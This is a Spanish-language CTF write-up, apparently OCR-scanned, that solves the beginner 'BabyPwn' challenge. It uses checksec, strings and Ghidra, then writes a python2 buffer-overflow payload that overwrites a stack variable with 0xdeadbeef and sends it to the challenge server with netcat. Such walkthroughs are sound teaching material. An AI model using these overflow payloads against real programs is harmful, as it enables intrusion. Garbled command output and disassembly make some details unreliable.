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BabyPwn

En este reto de dificultad facil aprenderemos como hacer uno de los ataques mas
sencillos de pwn, un Buffer Overflow para modificar una variable. jA por ello! Si tienes
cualquier duda sobre la resolucién me puedes contactar al telegram: @Rojorge También
te puede ser de ayuda este video: https://youtu.be/5-ZQubBWz3c?
si=0r1XWgh6J8T28TTj

Analisis estatico

Analsis del binario

Lo primero que haremos sera descargar el binario, una vez en nuestra maquina, vamos
a analizarlo de forma estatica, es decir, sin ejecutarlo.

Para ello lo primero que debemos saber es ante que tipo de ejecutable nos
encontramos, utilizaremos el comando file:

rojorge@
file babypwn
babypwn: ELF 32-bit LSB executable, Intel 8@386, version 1 (SYSV), dynamically linked, interpreter /1lib/
1d-linux.so.2, for GNU/Linux 3.2.@, BuildID[shal]=3ff6@5a314@ef25eb@32355f844d6e4925dd9dfa, not stripped
rojorge@
pwn checksec --file babypwn

[*] '/home/rojorge/Sugus/ctfsugus/writeups/babypwn/babypwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack:
NX:
PIE:
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Como podemos ver, nos indica que estamos ante un ELF de 32 bits (!) con formato Little
Endian (LSB). Si usamos checksec, presente en la libreria de python pwntools, podemos
ver informacion con la que se ha compilado y descubrimos que no tiene canario ni PIE.
Luego veremos por qué es interesante.

Una vez sacada esta informacién vamos a ejecutar el comando strings, pues a veces
podemos encontrar informacion con las cadenas de texto (en algunos retos de
reversing incluso la flag...):

rojorge@
strings babypwn

td®

f1ib/1d-1inux.s0.2

MnI%

libc.s0.6

~I0 stdin_used

fflush

fopen

puts

printf

fgets

stdout

fclose

~ 1ibc start main

GLIBC_2.1

GLIBC _2.@

__gmon_start__

UWvs

[*_]

flag.txt

Error al abrir el fichero 'flag.txt'.
Introduce tu nombre:

Hola %s!!

;*2%"

GCC: ([(Debian 8.3.0-6) B8.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.6886
__do_global_dtors_aux_fini_array_entry
frame_dummy
__fTrame_dummy_init_array_entry
ER

Hay poca informacion, pero podemos intuir que la flag se lee de un fichero.
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Analisis del pseudocodigo

Ahora utilizaremos el software ghidra para obtener un pseudocédigo. Otra opcidn es
directamente abrirlo con radare2, ida o gdb para leer directamente el ensamblador,
pero dado que es un reto sencillo, ghidra sera mas que suficiente.

Por no alargar el writeup no me detendré a explicar como funciona Ghidra, pero aqui
tenéis la web oficial (https://ghidra-sre.org/), solamente hay que crear un proyecto,

afadir el binario y analizarlo.

Tras abrir el binario y analizarlo podemos ir a ver las funciones:
- Symbol Tree P X

» [l Imports
» [) Exports
¥ [ Functions

» ¥ _ do_global_dtors_aux
_ 1686.get_pc_thunk.bx
_likbc_csu_fini
_libc_csu_init
_ xB6.get_pc_thunk.ax
_ xB6.get_pc_thunk.bx
_dl_relocate_static_pie
_fini

f
f
f
f
f
f
f
f _init
f
f
¥
f
f

_start
deregister_tm_clones
frame_dummy
FUM_08049020
main

__
f register_tm_clones
f saludar

_——

Fwin

» [P Labels

» [CI3 Classes

» [} Namespaces

»
*
»
*
»
*
»
*
»
*
»
*
»
*
»
*

Como vemos destacan main, saludar y win. Main es la primera funcion que se llama, asi
que empezamos por ella, tras abrirla con doble click y fijandonos en la parte derecha
para leer el pseudocddigo, vemos que solamente hace una llamada a saludar(). Si
abrimos saludar podemos obtener el siguiente pseudocddigo:
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28049279 8b @@ MoV EA¥=>stdout,dword ptr [EAX] b

804927b 83 ec c sue ESP, Bxc 5|void saludar(void)
2804927¢ 50 PUSH EAX &
8804027F 8 b fd CALL <EXTERNAL>: : fflush i .
8| char loc

FffF o
98049284 83 c4 10 ADD ESP,0x10 9| int loca
88040287 83 ec Oc suB ESP, Bxc =
98049283 8d 45 d4 LEA Eax=>local_3@, [EBP + -Bx2c] 1 ocst i = L i
9804928d 5@ PUSH EAX 12| printf("Introduce tu nombre: "):
B804928e e8 bd fd CALL <EXTERNAL=: :gets 13 fflusl_w(_

£F £ 18| getsllc
88849293 83 c4 18 ADD ESP, Bx18 15 if (1 = eI {
28049296 81 7d T4 a3 dword ptr [EBP + local_10],@xdeadbesf i) 16| win()

ef be ad de w1
0804920d 75 07 Iz LAB_08049236 18] else { o
0804020 o8 1e Ff CALL win 19 printf("Hola %s!!\n", local_30);

FF £ 2}
08049224 eb 16 e LAB_880492hc 5; \ returm;

LAB_B8@402a6 XREF[1] : 2824929d(j) E

@80492a6 83 ec 08 suB ESP,0x8
28049229 &d 45 d4 LEA EAX=>local_3@, [EBP + -Bx2c]
@80492ac 50 PUSH EAX
#80492ad 2d 83 53 LEA EAX, [EBX + OxFfffed53]=>s_Hola_%s!!_8804a053

ep ff fF
8804923 50 PUSH EAX=>s_Hola_%s!!_0804aB53
280402b4 o8 77 fd CALL <EXTERNAL>: : printf

£ fF

Analicemos que ocurre linea a linea:

En las lineas 8 y 9 declara las variables, la primera se trata de un buffer de 32 caracteres
(local_30), mientras que la segunda es un entero (local_10). Posteriormente asigna el
valor -1 a local_10, pide al usuario que le de su nombre y lo guarda en local_30.
Finalmente encontramos un if, si la variable vale -0x21524111 llamara a la funcion win
(que simplemente imprime la flag leyendola de un fichero), en caso contrario solamente
saluda al usuario.

Dado que es un numero un poco feo, si hacemos doble click en el pseudocédigo nos
lleva a la linea de ensamblador que lo ha generado, ahi podemos ver como lo que esta
haciendo es comparar el valor que hay en local_10 con Oxdeadbeef.

Hasta aqui bien, pero si en ningdn momento nos pide modificar esa variable, ;cémo
cambiamos su valor? Si observamos bien, la entrada del usuario se realiza con la
funcidn gets, la cual es una funcion vulnerable pues no tiene un limite de caracteres, y
en caso de introducir mas de los que caben en el buffer (en este caso 32), sequira
modificando la memoria. Mas info en: https://fag.corogramming.com/cgi-
bin/smartfaqg.cgi?answer=1049157810&id=1043284351

Analisis dinamico
Ahora vamos a ejecutar el binario para ver su funcionamiento:

rojorge@
. /babypwn
Introduce tu nombre: Pepito
Hola Pepitol!
rojorge@
. /babypwn
Introduce tu nombre:

Violacién de segmento ( core' generado)
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Como podemos ver, la primera vez introducimos una entrada esperada, y el programa
funciona como deberia, en cambio, la segunda vez introducimos mas caracteres de los
que espera, produciendo un core. Cuando se produce una violacion de segmento es
porque estamos accediendo a una direccion de memoria a la que no deberiamos estar
accediendo, lo cual implica que hemos tocado algo que no deberiamos haber podido
tocar, y como hackers, eso es bueno... veamos como seguir.

Lo que tenemos que hacer es llenar el buffer y posteriormente escribir el valor que
tendra la variable entera, para ello podemos utilizar python2 (python3 suele dar
problemas). Utilizaremos la siguiente linea para generar el exploit:

$ python2 -c "print 'A'*32 + "\xef\xbe\xad\xde" > payload

Lo primero que imprimimos son los 32 caracteres que llenan el buffer, en este caso As,
posteriormentescribimos el valor que queremos que tenga la variable, que os
preguntaréis, ;de donde sale ese churro y por qué? A eso vamos. Queremos que la
variable tenga el valor Oxdeadbeef, si escribiesemos directamente 'deadbeef' estariamos
guardando caracteres ascii (una cadena de texto), no los bits que forman el int, para ello
utilizamos \xNN para guardar los bytes. El motivo de escribirlo como \xef\xbe\xad\xde y
no como \xde\xad\xbe\xef es que como vimos antes, estamos en arquitectura Little
Endian. Si imprimimos eso por terminal va a generar caracteres raros porque va a
intentar interpretar codigos ascii que no son letras como tal, por ello lo desviamos al
fichero payload, aqui podemos verlo:

rojorge@
cat payload
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAR
rojorge@
hx payload

0x000000 :
2x@e0eda:
ex0eee14:
@x000dle:

bytes:

Explotacion local

Para probar el payload en nuestra maquina, solamente habra que ejecutar el binario
redirigiendo la entrada desde el payload, y saldria algo asi:

rojorge@
. /babypwn < payload

Introduce tu nombre: Error al abrir el fichero 'flag.txt'.
Violacién de segmento ( core' generado)
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Como vemos intenta abrir la flag pero como el fichero no existe da ese error, pero ha
funcionado. Si creas un archivo llamado flag.txt te mostrara su contenido.

Explotacion remota y obtencion de la flag

Finalmente, tenemos que tirar el payload contra el binario que esta en el servidor, para
ello usaremos la herramienta netcat redirigiendo la entrada igual que con el binario.

rojorge@
nc 51.77.214.16@8 11337 < ../solve/payload

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZN JTNTtToduce tu nombre: | SUGUS{y@ur_fTlrst_buff3r_ov3irflew}

Pwned! La flag es nuestra :) SUGUS{yOur_f1rst_buff3r_ov3rflOw}
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